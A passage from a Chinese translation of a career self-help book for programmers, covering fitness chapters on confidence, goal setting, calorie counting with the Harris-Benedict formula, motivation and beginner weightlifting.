会从关注自信心着手，它是健康饮食和锻炼的最重要的好处。你可能觉得自信心没那么重要，或者你会说：“嘿，老兄，我早就信心十足啦。”但是，无论你觉得自己已经自信心爆棚，还是你并不明白自信心为什么如此重要，我都要告诉你，为什么你需要拥有自信心，以及为什么自信心多多益善。\n加州大学伯克利分校哈斯商学院进行的一项研究表明，自信心比天赋更适合预测成功（http://simpleprogrammer.com/ss-overconfidence）。也有其他研究表明了类似的相关性。\n但是，健身怎么能增强自信心呢？很简单，好身材能让你自我感觉良好，也能让你对能完成自己设定的目标这件事感觉良好。这种自信心可以展现出来，体现在你和他人的交谈与交往当中。此外，还有一个不太科学的解释：当你看上去很好看的时候，你的感觉也会很好。\n想象一下，当你穿上紧身牛仔裤、衬衫的针脚贴合在自己胳膊上的时候，你的感觉会有多好！感觉自己身材健美，感觉自己身体健康，会改变你的行为方式。它改变了你对自己的看法，让你不会再感到周围的人通过他们的成就对你造成的威胁；同时，它也改变了别人对你的感觉和对你的看法。\n本书很大一部分内容是关于如何走出去闯荡江湖的，这需要相当程度的自信。仅靠思考很难变出自信心，但是我在举重馆训练过的每一个人，或者在我的帮助下减掉体重的每一个人，都几乎突然找到了自信——他们从不知道自己可以如此自信。\n大脑的力量\n锻炼真的可以让人更聪明吗？我不确定能否变得更聪明，但是最近斯坦福大学的一项研究表明，走步能大幅提高创造力，高达60%（http://simpleprogrammer.com/ss- walking-creative）。在这项研究中，Oppezzo博士让一组学生去完成一些创造力测试。这些测试包括猜想物体的用途，以及其他一些归因于创造力的活动。\n学生们先坐在桌边完成测试，然后他们被要求走在跑步机上完成类似的测试。几乎所有学生都表现出创造力大幅提升。即使学生们被要求在走完之后再坐下来接受测试，结果仍然显示为创造力提升。\n这说明了什么？这表明走步至少能对大脑的一项功能——创造力产生显著影响，不过我怀疑它还能影响更多。\n从我的个人经验出发，我可以告诉你，我锻炼得越多就越健康，我在工作中的表现也越好。我注意到，当我体能最好的时候，我的注意力最集中，效率也最高。在我的“Get Up and CODE”播客中，我有幸采访到John Papa、Miguel Castro和其他一些知名的开发人员，他们也宣称有类似的体验。\n我不能肯定地说，是锻炼或者体脂率引起我大脑的化学变化或结构变化，从而让我更聪明、更专注，还是只是我感觉更好，因此更加努力地工作。原因是什么真的很重要吗？\n另外，当你总觉得疲倦、无心工作的时候，或者你觉得自己状态不佳的时候，你可能会发现，改变饮食和加强锻炼可以让你的身心同时获得新活力。\n恐惧\n我不想马上打出恐惧牌，但我认为它仍然是如此重要，值得一提。如果你体重超标、处于亚健康状态，那你罹患各种可预防性疾病的风险就很高。\n我专门为软件开发人员运作一档关于健身的播客，名为“Get Up and CODE”（http://getupandcode.com），在这个播客上，我采访了许多坚持健身的软件开发人员，他们这么做不是因为想增强自信或者提升脑力，而是因为他们觉得自己正在叩击死亡之门。\n与Miguel Castro谈论他的健身经历，我记得尤为清楚。他曾经也是那种对自己体重或是健康毫不在意的软件开发人员，直到有一天，他因为严重恐慌而被送去医院，从此改变了他的生活。\n那天，他驾车载着他的儿子从托儿所回家，突然他感到自己的左手发麻。他以为可能是外边冷，或者自己撞到什么东西了，所以就没把这当一回事。\n那天晚上，他想躺下休息了一会——对他而言，这实在是反常之举，因为他几乎总是熬夜。他的妻子询问他的这些怪异表现，他说他觉得自己整个身体左侧发麻。他的妻子害怕他得了中风，说服他赶紧去医院。\n到了医院之后，他发现自己的血压为190/140——这可不妙，非常不妙。\n原来他的血压一直是正常的，所以这也不是什么大毛病。接下来医生给他做了一些检查，并且让他第二天再走，但是接下来的一个月他一直留院观察，做了更多检查。这一经历把他吓坏了，并且永远改变了他的心态。\n我清晰地记得，Castro告诉我，并不是锻炼计划、特殊饮食或者走进健身房让他在180天的时间里减掉约33 kg（73磅）体重，而是心态。恐惧让他认真对待自己的健康和身体，以至于他辞掉软件开发这一职业，转而成为一名健身教练，激励并帮助别人实现他们的健身目标。\n我讲这个故事并不是要吓唬你——好吧，其实我还真是想吓吓你——但是我真诚地希望能通过Miguel的故事吓到你，因为如果这是你自己的故事，到时候就为时已晚了。Miguel是幸运的，因为他的恐慌并不是什么大事儿。他的恐慌只是一个警告，让他迈入正确道路。但是很多人却没有这么幸运。有时候，你根本就没有得到警告。有时候，在你还没来得及认真对待这些预警，就死于心脏病发作或遭受其他严重伤害。有时候，一切都已经太晚了。\n不要让自己醒悟得太晚，从现在起就认真对待。不要等到出了健康问题才开始关心自己的健康。我知道你并非出于获得健康这一主要动机而购买这本书的，但是，如果我能帮你找到更好的工作或职业，这就太棒了，我会为你高兴；但是如果我还能帮你保持身材，让你更长寿，让你能够看到自己的孩子们茁壮成长，那我会认为这本书取得了更伟大的成功。\n采取行动\n在深入本篇内容之前，你要对自己的健康做出承诺。也许你已经很健康了，那么接下来各章内容只不过是帮你复习一下。但是，如果你知道自己需要获得健康，承诺你将会认真对待自己的健康，也会在生活中真正做出一些改变，我会把我知道的所有健身和健康建议倾囊相授。但是，如果你不想做出改变，那我也无能为力。\n第57章 设定你的健身标准\n没有目标，你永远也达不成目标，健身也不例外。正如你需要知道自己写的代码是用来做什么的一样，你也需要知道在忍饥挨饿、挥汗如雨之后，你要得到怎样的结果，否则你就是在浪费时间。\n在本章中，我们会讨论如何设定切实可行的健身目标。我们将着眼于利用短期目标和长期目标来获得更好的效果，以及如何通过长期坚持健康的生活方式——而不是快速节食和4小时的有氧运动——来获得长效的改变。\n作为软件开发人员，容易长期伏案、疯狂工作数小时，所以为自己制定一份明确的健康标准至关重要，因为对你来说保持健康的生活方式可能更难。\n挑选一个具体的目标\n经常会看到人们讨论开始健身或节食的时候会说目标是“保持好身材”。这个目标看起来很好，但是并不具体。究竟“好身材”的真正含义是什么？你怎么知道自己什么时候已经有了好身材？\n这并不是说，没有一个具体的目标，锻炼身体和合理饮食就不会产生良好的效果。无论你是否心里有一个特定的结果，如果没有一个具体的目标，你想让自己坚持锻炼计划、看到实际改变的可能性降低。\n有许多不同的健身目标可供你挑选。谨记每次不要试图挑选一个以上的目标。如果你想减肥，那就专注于减肥，就不要再想着还要增长肌肉。如果你想通过跑步改善心血管健康，那就专注于这个目标，即使在此过程中可能会减掉一点儿体重。\n同时达到多个健身目标是非常难以实现的，因为这些目标之间经常会是直接冲突的。例如，你很难在增长肌肉的同时又减掉脂肪，因为为了增长肌肉通常需要处在热量过剩的状态，而为了减掉脂肪则需要处在热量短缺的状态。\n可能的健身目标\n减肥（减掉脂肪）。\n增肌（增长肌肉）。\n增加力量（不一定是增长肌肉）。\n增加肌肉耐力（改善运动表现）。\n改善心血管健康。\n在某些运动上表现更好。\n创建里程碑\n大约6年前，我右侧胸大肌撕裂。当时我正在做一组杠铃卧推运动，有人提出要帮我，我接受了，但是当他把我的手臂向外而不是向上拉的时候，我立刻后悔了。我清楚地听到“刺啦”一声，然后我的手臂无力地垂在身侧，肌肉完全被从骨头上撕裂了。\n不用说，这次事故之后我很久都不能举重。我一直心有余悸，直到现在我都还不能做卧推举重，所以我做了多数人在这种情况下都会做的事情——我停止锻炼，变得很胖。\n那时，我的体重大概有约132 kg（290磅）。我身高约192 cm（6英尺3英寸），这个体重比标准体重整整多出约41 kg（90磅）。最后我终于觉醒了，意识到自己已经受够了自我嫌弃和身材臃肿，我意识到我要减掉90磅。\n减重90磅看起来似乎是一个不可能完成的目标。我到底该怎样做才能减掉那讨厌的90磅，恢复原来的身材呢？这需要多长时间呢？我意识到，对于“减掉90磅”这个目标我实在是缺乏动力，所以我必须得弄清楚如何才能把这一艰巨的任务分解成小任务。\n我想出了一个点子。我设定了一个每两周减掉5磅的小目标。尽管总目标还是减掉90磅，但是我不再忧心忡忡；相反，我每次只关注两周时间。我只要做到站上体重计，显示我比两周前的自己轻了5磅，这就是我的目标。\n我花了很多个“两周时间”，最终真的减掉了90磅，甚至还稍微超了一点儿。在这个过程中，我从来没有迷失过一次目标，其中的关键就是将自己的大目标分解成若干更小的里程碑，这些里程碑组合在一起给我标识出通往成功之路。\n一旦决定了健身的主要目标，你就应该想办法创建一系列里程碑，沿着里程碑前进你就一定会到达最终的目标。如果你想减肥，你就要像我那样，确定每一周或每两周减掉的重量。如果你想增长肌肉，你的里程碑就应该是在类似的时间间隔内增加多少肌肉重量。\n一定要确保里程碑是可以实现的。如果你设置的里程碑是每周减掉10磅，那么当你无法达成或接近此目标时你很快就会气馁，所以最好设定不那么雄心勃勃的、能够轻松实现的里程碑，而不是遥不可及的目标。不断获得成功的势头可以帮你不断前进，不断给你直到达到最终目标的动力。\n地雷：如果没时间锻炼呢\n作为一名软件开发人员，你可能非常繁忙，还得经常出差，那么你该如何找时间改善饮食、参加锻炼，去追求健身目标呢？你该如何追求你的健身目标呢？关于这一点没有简单的答案，但是我的最好建议就是把健身当作优先事项。我之前常常把跑步、举重这些锻炼以会议请求的形式专门列入我的日历中。如果你很难切实坚持履行计划，我建议你不妨也这么做。没有人知道你早上7点的会议其实是跑步。\n测量你的进展\n在你向着自己的目标努力前进的时候，采用正确的方法测量自己的进展也是非常重要的。每个时间间隔，你都需要知道自己是否正朝着正确的方向前进。\n想想可以用来测量你向着自己试图达到的目标所取得的进展的最佳方法。如果想减肥或增重，最基本的测量工具就是体重计。如果想增加力量或者增长肌肉，可能需要画进度图表来记录自己举起的重量是多少，能举这个重量多少次。\n但是，我会尽量避免使用过多的测量项，因为数据太多很容易让我不知所措。我通常会尽量选择一项主要的测量项，然后使用图表来标识我的进展状况，然后在更长的时间间隔里引入其他测量项。\n也许最常见的测量项是体重计上的重量，但是你应该谨慎使用该测量项，因为吃了什么、喝了多少水都会引起每天体重的大幅波动。\n我建议你每天都测体重，但是只使用每周测量值来制作进度表。我曾有过一次一天之内体重波动高达10磅（约5 kg）的情况。如果每周测一次体重，而不是每天测一次，你就不太可能受到自己每日体重大幅波动的冲击。\n保持健康的生活方式\n实现健身目标，一开始你会感觉很棒。但是，很快这种感觉就迅速转化为绝望、沮丧，然后一切回归如初。相信我，在我的人生中，有好几次我实现了宏大的健身目标，很快又搞砸了。事实上，很多靠节食减肥的人最终又胖了回来，一部分是因为激素分泌让他们感觉饥饿（http://simpleprogrammer.com/ss-hormone-weight），另外也是因为他们又回到自己的老习惯中。\n达成健身目标，你的战斗还远没有结束。如果不能切实改变自己的生活方式，你取得的进展很快就会消失。你不能永远节食，所以必须为自己找到一种新的生活方式，将自己辛辛苦苦获得的健身成果保持下去。\n我建议，在你达成任何健身目标之后，你逐渐减少之前的节食和健身计划，而不是迅速切换回“正常生活”。我们的目标是让“正常生活”处在实现目标时的生活状态和健身之前的生活状态之间。在减掉50磅之后暴饮暴食会让你体重恢复如前，甚至可能更重。\n你必须弄清楚如何将健康的生活习惯引入你的生活，以便让定期锻炼和健康饮食成为你日常生活的组成部分。这并不容易做到，尤其在你采用极端的节食或健身计划的时候，因此，尽管挨饿可以让你迅速减肥，你最好尝试着引入一系列只比自己当前生活习惯略微严格一点点的节食与锻炼计划。\n在接下来的几章里，我会介绍一些工具，帮你做到这一点。我们将讨论，如何计算出你的身体需要多少卡路里才能保持体重，如何吃得健康，以及如何锻炼身体。有了这些信息，你就可以学着去实现自己的健身目标，但更重要的是，你就可以学习如何根据你的日常惯例创建一种健康的生活方式，在以后的人生中持续保持。\n采取行动\n确定一个大的健身目标，写下来。\n接着，列出一系列切合实际的里程碑来实现这一目标。\n确定自己实现第一个里程碑要采取的行动。\n第58章 热力学、热量和你\n如果想减肥或者增重，你需要了解究竟是什么让你的体重增加或者减少。出人意料的是，健身行业对于体重增加或减少的直接原因存在争论，即体重的增减到底是与摄入的热量有关，还是与消耗的热量有关。\n在我看来，这一问题很好解决。我们知道，热量在一定程度上影响着体重的变化，但热量到底有多大作用的争论却不容易有定论。\n在本章中，我无法给你一个绝对的有确切证据的答案，但我会给出一些充分的理由，说明为什么我倾向于赞同热量是影响体重增减的最主要的因素这一观点。我还会帮你了解什么是卡路里[1]，掌握如何确定自己一天消耗了多少卡路里的热量。\n什么是卡路里\n在确切了解热量是如何影响体重的之前，我们需要先解决一个问题。到底什么是卡路里？为什么我们要高度关注它？\n卡路里根本上讲是能量的计量单位。具体而言，就是将1千克水在1大气压（101.325 kPa）下提升1℃所需要的热量。\n我们吃的食物是身体能量的主要来源。这也是用卡路里进行测量的原因。我们也用卡路里来测量能量消耗的数量。\n在大多数情况下，你可以假设所有进入身体的热量要么被消耗了，要么被存储起来。虽然也有些热量被白白浪费，但是人类的身体是一台非常高效的机器。\n不同种类的食物为身体提供的热量不尽相同，所以摄入食物的数量并不完全决定热量的多少。西兰花提供的热量（卡路里）要比同等大小的一块黄油少得多。\n每克碳水化合物、蛋白质和脂肪提供的热量各不相同，因此有些食物要比其他食物“结实”些。每克碳水化合物和每克蛋白质提供的热量大约4卡路里，而每克脂肪提供的热量约9卡路里。请记住，因为我们无法消化纤维，所以来自纤维的热量基本上可以忽略不计。\n减肥很简单\n如果用卡路里来表示能量，而身体只能从食物中获得能量，那么其实想弄清楚如何减肥就很容易了——只要吃下去的热量比燃烧掉的热量少就可以了。如果吃下去的热量要比体内燃烧掉的热量少，最终就可以减肥，我想不会有人对此持有异议。产生争议的地方在于如何精确地计算实际燃烧掉的热量到底有多少卡路里。\n好消息是，虽然你无法确切知晓每天自己燃烧掉或者消耗掉的卡路里到底有多少，但是你可以做一些估算。如果误差控制在合理的范围之内，你基本可以保证完成减肥或者增重计划。关键就是做好估算。\n做好估算的前提是了解脂肪消耗量与热量之间的换算关系。我假设你的目标是减掉脂肪而不减掉肌肉。从能量的角度来讲，一磅脂肪约等于3 500卡路里。如果想减掉一磅脂肪，要消耗掉的热量要比吃进身体的热量多出3 500卡路里，非常简单（顺便说一句，这一算式对男性和女性都适用）。\n只是，实际情况并没有想象的那么简单。很不幸，在减肥的时候可不只是在减掉脂肪。的确，如果你真的能做到消耗的热量比摄入的热量多3 500卡路里（就是“能量赤字”为3 500卡路里），你的体重就会减轻，但是减掉的不只是脂肪，还有一部分是肌肉。\n如果想减肥，你必须保证自己摄入的热量要少于燃烧的能量，“能量赤字”的大小决定了你能减重多少。这意味着，如果想减肥，你必须先搞清楚两件事：你摄入了多少卡路里，你燃烧了多少卡路里。\n摄入了多少卡路里\n计算自己摄入多少卡路里不是太难。我们购买的大多数食物上都有一个标签，列出每份食物包含多少热量。对于没有标签的食品，可以使用CalorieKing这样的应用程序（http://simpleprogrammer.com/ss-calorie-counter）来查找某种食物包含多少热量。\n遗憾的是，食品标签并不总是100%准确。应该给食品标签的标称值加上10%的误差。如果是在餐厅吃饭，要加上高得多的误差，因为你不能相信一个厨师会对每一件食材都进行精确计算。在一盘菜里多放入一点点黄油就可以极大地增加摄入的卡路里总数。\n此外，吃的食物制作过程越复杂，精确测量卡路里数就越困难。这就是我在节食的时候尽量多吃简单食物的原因。我还尽量经常吃同样的食物，这样我就不用总是查卡路里数值。\n燃烧了多少卡路里\n计算燃烧了多少卡路里就有些难度了，但你还是可以得到一个比较好的估值。\n无论是在跑步还是在沙发上睡觉，你的身体都在燃烧卡路里。你的身体需要一定数量的热量来维持生命。这部分基础热量被称为基础代谢率，即BMR。\n你可以把自己的体重、身高、年龄和性别等参数组合在一起计算自己的基础代谢率的近似值。这一计算结果会告诉你要维持生命需要多少卡路里，因此这也是计算一天需要燃烧多少热量的很好的起点——你知道自己每天至少要燃烧多少热量。\n为了方便计算基础代谢率，你可以使用一个在线工具。你可以搜索关键词“BMR计算器”或者在http://simpleprogrammer.com/ss-bmi-calc上直接计算。以我为例，我身高约192 cm（6英尺3英寸），体重约132 kg（290磅），年龄34岁，所以我的基础代谢率是每天约2 251卡路里。\n如今，我们中大多数人并不只是整天坐着无所事事，所以基础代谢率并不是你真正燃烧了多少卡路里的精确测量值。为了得到更加准确的估值，我推荐使用表58-1中列出的哈里斯-本尼迪克特公式，根据运动水平计算每天燃烧掉的热量的近似值。\n表58-1 哈里斯-本尼迪克特公式\n运动水平\n公式\n几乎不运动\nBMR×1.2\n轻度运动（每周1～3天）\nBMR×1.375\n中度运动（每周3～5天）\nBMR×1.55\n重度运动（每周6～7天）\nBMR×1.725\n极重度运动（每天2次）\nBMR×1.9\n我每周跑步3次、举量3次，所以通过使用哈里斯-本尼迪克特公式，我每天燃烧的热量应该是2 251×1.725=3 882卡路里。但是，如果我想减肥，为了安全起见，我应该把自己归为较低一类做一个保守的估计，即我燃烧的卡路里应该是2 251× 1.55=3 489卡路里。\n现在就来计算每天你燃烧多少卡路里吧。在计算之前，可以先估算一下，然后看看估算值与计算值之间的偏差是多少。\n利用卡路里来实现自己的目标\n好了，现在你知道了热量的工作原理，知道了如何计算摄入多少热量和燃烧多少热量。你可以利用这些信息制订一个减肥或者增重计划。\n假设我想减肥，比方说，我的目标是每周减一磅。那么，为了实现这一目标，我该如何使用到目前为止已经知道的信息制订一个健身和节食计划呢？\n好了，首先我得计算每天自己燃烧的热量。如果我没有对自己的日常生活做出任何改变，那么每天我会燃烧掉大约3 500卡路里的热量。所以，如果我一整天都不吃东西，我会减掉一磅，但是我也会因此而变得暴躁。\n如果我想每周减一磅，也就意味着每周我的能量赤字大概是3 500卡路里，3 500卡路里除以7等于500。也就是说，我需要每天维持大约500卡路里的能量赤字。\n如果我每天燃烧的热量是3 500卡路里，而我最多摄入2 500卡路里的食物，那么我的能量赤字就一定够500卡路里。理论上讲，就是这样的，但是实际上，我可能看不到我所期望的结果。\n尽管数字表明我应该能达成目标，但是各种原因导致我实际上并没有每周减掉一磅。我可能会算错食物，每餐少算了大约100卡路里，这就会导致我每天比预计的多摄入300卡路里。我的运动量也可能比我的估计要少很多，这就会导致我燃烧的卡路里数不足——尽管我已经留有余地。\n所以，我要做的是把摄入的热量减少10%，即250卡路里，只有这样才能确保我能实现自己的目标。这将意味着，每一天我吃下去的各种食物全加在一起热量值应该大概是2 250卡路里，这样我才能对实现自己的目标充满信心。\n你可以采用相同的步骤为自己制订一份减肥或增重计划。不过，要谨记，因为减肥初期你的基础代谢率会大幅下降，所以最终你需要进一步降低热量的摄入，或者增加运动量，这样才能保持持续减肥。\n采取行动\n跟踪至少3天你摄入的卡路里总量，这会让你正确了解自己的热量摄入。在进行跟踪记录之前，做一个估算，然后看看是否与实际结果接近。\n计算一下你的新陈代谢率，并使用哈里斯-本尼迪克特公式近似计算每天燃烧的热量的近似值。将这一数值与每天摄入的卡路里数量进行比较。看看自己的重量是在增加还是在减少。\n不论是要减肥还是要增重，利用这些信息制订一个基础计划，要同时考虑热量和运动量两个方面。\n[1] 卡路里有两种解释，一种是热力学里“卡”的概念，另一种是食物热量的“卡”。本书英文原著中没有做具体的区分，所以翻译起来很难做到准确。—— 译者注\n第59章 动力：让你的屁股离开椅子\n实现任何健身目标最难的不是设定目标，也不是了解如何去实现这一目标，更不是要达到目标需要做哪些工作。实现健身目标最难的是获得并保持健身的动力。\n作为一名软件开发人员，你可能很忙。你可能要操心中断的构建，还要有需要修复的故障。看起来你一直有各种理由将锻炼身体和改善饮食推到以后。唯一的问题是，“以后”永远不曾到来。\n如果你想减肥成功，成为最健美的程序员，或者你只是想保持健康，那你必须要学会如何激励自己，如何持久保持动力。本章内容就是关于如何避免让健身计划只停留于想的阶段，将计划落实到行动上，并且持之以恒地坚持下去。\n什么能激励你\n我们可以被不同的东西激励。能激励你的东西未必能激励我，反之亦然。所以，花些时间去思考一下哪些东西可以最大限度地激发你的动力，这非常重要。是什么让你从睡梦中醒来开始新的一天？相反，又是什么让你逃之夭夭躲藏起来？\n如果你能为自己找到一个能够激励你实现健身目标的因素，你就可以利用它来帮助自己离开椅子，立刻投入到健身运动中。如果我让你去商店拿一些东西，你可能会无动于衷。但是，如果我要你去商店拿1 000美元，可能我话音未落你已经跳上车子开出老远了。正确的激励因素会产生大不相同的效应。\n过早奖励自己\n如果你想扼杀自己的动力，那么你尽可以犯这样的错误：在做好工作之前就因为“做好工作”而奖励自己。\n就在上周，我为一位预支给我费用的客户做了一些工作。他们在我实际开始工作之前，预支给我大约24小时工作的费用。通常情况下，我会积极努力地在这一周之内为该客户完成相当于24小时计费时间的工作量，但是这一次我感到毫无动力。为什么呢？\n这是因为我的银行账户里已经打入了一大笔钱。我在实际开始工作之前就收到了报酬，因此我并没有被激发出去努力工作的动力。\n同样的事情可能也会发生在你的身上。我经常看到这一幕：给你自己买一双价格昂贵的优质跑鞋或者一台崭新的跑步机来激励自己开始锻炼计划。然而，你在憧憬着得到一台价值400美元的新搅拌机能够激励自己吃得更健康的时候，结果却恰恰相反。因为你已经得到了奖励，所以你的动力已经一去不复返了。在自己努力争取之前就急于给自己实际的奖励，这实际上会让你失去动力。\n相反，你应该告诉自己，如果能坚持跑步3个月，就会奖励自己一台新跑步机和一双新跑鞋；你应该告诉自己，如果能保证健康饮食整整一个星期，就可以去全食（Whole Foods [1]）买上一大堆健康食品。总之，要尽量保证你只有努力做到之后才能获得奖励，这样你才可能会更积极地去实现自己的目标。\n实际上有一些科学证据也支持这一观点。如果有兴趣阅读有关“意志力”的书籍，可以参考Kelly McGonigal所著《自控力》（The Willpower Instinct）［Avery，2011］一书。在这本书中，作者列举的几项研究表明，在达到目标之前就给予奖励会让人觉得自己已经实现了目标。\n保持动力的做法\n即使你可能已经想出了最大的激励因素让自己立刻开始转变成一个全新的、健康的你，但是久而久之激励很可能最终会失去效力——事实上，关于这一点我知道得很清楚。我失去动力的次数已经多到数不清了，如果和开始节食又放弃的人聊天，你也会发现同样的问题。你需要找出其他方式来解决自己的动力问题。\n在各个地方张贴图片，提醒你自己想变成的样子，这是保持动力的一种好方法。这些图片可以帮你追踪并专注于自己的目标。这样，当你下一次盯着一块巧克力蛋糕看的时候，阿诺德·施瓦辛格就会盯着你的脸说：“难道你真的要吃那块蛋糕吗？”\n制作进度图表并且不断提醒自己你已经走了多远也是有帮助的。本来今晚我不想写本书的任何一章，但是我提醒自己我已经写到第59章了，这可以激励我继续坚持下去。有时候，只是知道自己走了很远就能带来足够的动力继续前行在这条路上。人人都讨厌打破长时间的连胜纪录。\n另一种强大的保持动力的方法是游戏化。游戏化背后的想法很简单——把不喜欢做的事情变成游戏。当前有相当多的健身应用，可以帮助你像打游戏一样锻炼身体、养成健康的生活习惯。\n游戏化的健身应用\nHabitica：https://habitica.com/static/front。\nSuper Better：https://www.superbetter.com/。\nFitocracy：https://www.fitocracy.com/。\nZombies, Run!：https://www.zombiesrungame.com/。\n这些应用还可以帮你找到举重或者跑步的同伴，甚至能让你开始新的节食计划，或者向朋友发起挑战。与他人交流，分享自己的经验，不论好坏，都能让你的健身之旅更乐趣无穷，并能让你持久保持动力。我发现，当我有一个举重同伴的时候我总是更勤快地跑去健身房。\n表59-1列出了另外一些能够帮你坚持健身计划的激励因素。\n表59-1 坚持健身计划的激励因素\n方法\n说明\n听有声书\n我跑步或举重的时候会一直听着有声书或者播客，我发现这件事值得我每天都期待\n在跑步机上看电视\n如果你只允许自己在跑步机上跑步时才看电视，你可能会有更大的动力去跑步\n外出跑步\n如果你喜欢户外活动，那么外出跑步对你而言可以是一个巨大的动力\n离开孩子一段时间\n我们都需要给自己一点儿休息时间，许多健身房有看护服务，能在你锻炼的时候照看你的孩子\n计划了就一定要执行\n如果你能让自己持久保持动力，这确实很棒。但是，有时候不论有没有动力，你都得咬紧牙关坚持计划。一定要提前做好决定，这能给你约束，让你致力于自己想要采取的一系列行动。\n早上醒来觉得疲惫的时候，不是决定要不要去跑步的好时机；拿着免费的甜甜圈出现在办公室的时候，也不是决定要不要坚持节食的好时机。提前做好决定，能够让你不管自己的感觉如何，都会坚持到底，直到未来某个预定好的日期。\n试着通过提前计划，尽可能减少生活中的各种抉择。准确知道自己每天要吃什么、做什么，也就不太可能做出糟糕的决定，也不会过度依赖激励。\n当你的动力消失殆尽的时候，用原则来代替激励。每当我精疲力竭不想再跑步的时候，我都会用自己高度尊崇的“善始善终”原则提醒自己。为自己的人生创建一组格言，在世事艰难的时刻信守这些格言。\n人生格言\n善始善终。\n成功者决不放弃，而放弃者永远不会成功。\n一分耕耘，一分收获。\n时间短暂，如果想在生命中做某件事，现在就去做。\n一切都会过去。\n坚持到底就是胜利。\n采取行动\n列出你要健身或改善健康状况的原因。从这份清单中，明确三项最重要的激励因素，打印出来并张贴在不同的地方，确保自己每天都能看到。\n从本章讲述的保持动力的做法中选出几条，并在生活中实践。或者找几个可以激励你的人的照片，张贴在你能看到的地方，或者找一个新的有关健身的应用，把锻炼身体变成乐趣。\n在达成健身计划的某个里程碑之后给自己一个奖励。把你的进展状况画成图表，达成目标的时候奖励自己。\n当你想要中断锻炼步伐的时候，停下来问自己，如果不放弃，3个月后、下一年会怎样。不管怎样，那一时刻总会到来的。\n[1] 全食是一家始建于1980年的美国连锁超市，目前已经拥有分布于全美各地的187家商店。全食倡导高质量生活、绿色健康食品和环境保护，它的宗旨是“健康的食品、强健的人类、生机勃勃的星球”。—— 译者注\n第60章 如何增长肌肉：书呆子也能拥有强健的肌肉\n对，就是你。想不想增长肌肉？真的想吗？很好，我可以帮你。不需要使用违禁药品，你只要掌握一些基础的耐力训练。\n在本章中，我们将讨论如何锻炼肌肉。只要愿意投入练习，这一点儿都不难。我们会介绍导致肌肉生长的原因是什么，了解如何刺激自身肌肉生长。我们还会回顾一下饮食问题，讨论应该吃哪些食物来最大化地增长肌肉。\n作为书呆子——不对，作为计算机专业人才，肌肉发达可是一个很大的优势。它不仅能让你看上去很酷，感觉良好，还能让你打破人们对我们这一职业的刻板印象，这种独特性也有助于提升你的职业生涯。\n如果你是一位女性，我知道你不想让自己看起来虎背熊腰。我同意，看起来像绿巨人的女士一点儿都不吸引人。不过不必担心，除非你体内的睾酮分泌超标，否则举重不会让你变得很壮硕。\n无论你是男性还是女性，本章的所有内容都适用于你。男人和女人的举重练习并没有什么不同。对于女士而言，举重会突出你的体型，改善你的体制。让你的体形看起来虎背熊腰是非常非常难的——你又没有注射化学激素。所以，别担心，举起杠铃吧——还有别忘了深蹲！\n肌肉是如何生长的\n人类的身体具有令人惊讶的适应性。如果你用手抓住粗糙的东西，手掌上会生出老茧来保护双手；如果你长跑，你的心血管系统会产生适应性，让长跑变得更轻松；如果你举重，你的身体会长出更大的肌肉。\n秘诀就在于你的身体有这样的能力。但是，不会只因为你想看起来健美就会长出肌肉。所以，你可以整天站在镜子前，期待自己看起来像大力神，但是如果不真正去练习举重，什么都不会发生。\n如果你练习举重，但是杠铃的重量不够，也就是说杠铃的重量不足以对你的身体带来挑战，那你的肌肉就没理由生长，所以也就不会生长。因此，关键就是，通过增加你要求肌肉完成的运动量来逐步增加肌肉的负担，使身体以增长肌肉作为回应。从根本上讲就是，你要让自己的身体相信：在增加新的肌肉之前，你需要更大的肌肉。\n增大肌肉规模是让肌肉能够适应超负荷工作的一种方法。肌肉在力量和耐力方面也能得到提升。如果想优化肌肉的生长，即肌肉的规模，就必须给肌肉适当的压力。\n举重的基础知识\n刚开始举重练习会有点儿吓人。有各种不同的动作，要知道自己要练哪一种还真有些难度。好消息是，基础训练都很简单。\n首先，我们要了解一些与举重相关的术语。通常当你举起杠铃的时候，你已经把这项运动内容分解为不同的动作。每个动作你会做很多组，而每组你又要重复很多次，即重复次数。\n动作的定义非常明确，也就无需浪费时间去讨论。一组基本上就是完成某个动作的一个连续环节。运动次数就是动作的每一个完整循环。\n通常，在完成一定重复次数后需要休息，我们称之为一组。每个动作都需要完成一定的组数。我们来看一个例子。\n假设你要做举重练习中常见的深蹲动作，这个动作基本上就是从站姿变成蹲姿。你的目标是完成3组，每组重复10次。这将意味着你要做10次下蹲动作，然后休息一会儿，如此重复3回。\n不同的目标\n还记得我说过肌肉在各个方面具有适应性吗？肌肉如何适应主要由举重方式决定。现在你已经知道什么是重复次数、什么是组，我们可以谈谈你如何利用重复次数和组通过举重训练来实现不同的目标。\n力量\n如果你的重复次数较少，而每组之间的休息时间较长，你基本上是在增强力量。随着肌肉增强，力量也会自然而然地增强，但是同样大小的肌肉在力量上的差别是很悬殊的。所以，肌肉的力量增强并不一定意味着肌肉一定会增大，或者至少不会和其他令肌肉增大的锻炼方法的效果一样。\n通常情况下，如果你的目标是增强力量，那么每次练习的重复次数是1～6。但是只限制重复次数还是不够的，每次重复练习中你都要举起自己能举起的最大重量。判断的方法是，如果你的目标是重复4次，那你的身体无法支撑你在第五次重复的时候举起这个重量。\n规模\n你想实现的下一个目标，也许也是最常见的目标，就是增大肌肉。肌肉增大也被称为肌肉膨胀。肌肉增大主要是通过中等的重复次数和适量的休息间隔实现的。为了最大程度地增大肌肉，你应该试着重复8～12次。同样，在这几次重复中，你也要举起自己能举起的最大重量。如果重复次数更多，在精疲力竭之前肌肉就会有酸痛感。俗语说“一分耕耘，一分收获”。\n耐力\n最后，你可能会对提升肌肉的耐力感兴趣。我敢肯定你已经猜到了该如何做到这一点——进一步增加重复次数。如果每次练习你的重复次数很高而休息的时间相当短，你就会最大程度地提升肌肉的耐力。这就意味着，你的身体在负重的情况不容易产生疲劳。\n为了提升肌肉的耐力，你需要将重复次数提高到12次以上。你可能会重复20次或者更多次以提升肌肉耐力。但是请注意，如果专注于提升肌肉耐力，你可能看不到肌肉增加，甚至可能看到肌肉缩小。想一想短跑运动员和长跑运动员在身体上的差异，你就知道为什么了。\n准备开始\n好了，现在你可能想知道自己应该选择哪种举重练习，以及如何开始。好消息是，这并没有很多健身杂志和健身专家描述的那么复杂。你可以从一些基础的举重练习开始，这些练习能让你在最短的时间内获得最大的成效。\n让我们先以一周为单位谈谈如何安排自己的练习。我是举重的铁杆粉丝，一周要练习3次，但是如果你愿意，你可以在我给你提供的练习的基础上增加锻炼的频率。\n在刚开始锻炼的时候，你可能会想做一些改善你整个身体的举重练习；但是最后，你还是要把这些练习拆分开，在一段时间内只锻炼特定的身体部位。（你需要增加运动总量，以便让你的身体不断适应。）\n我把举重练习分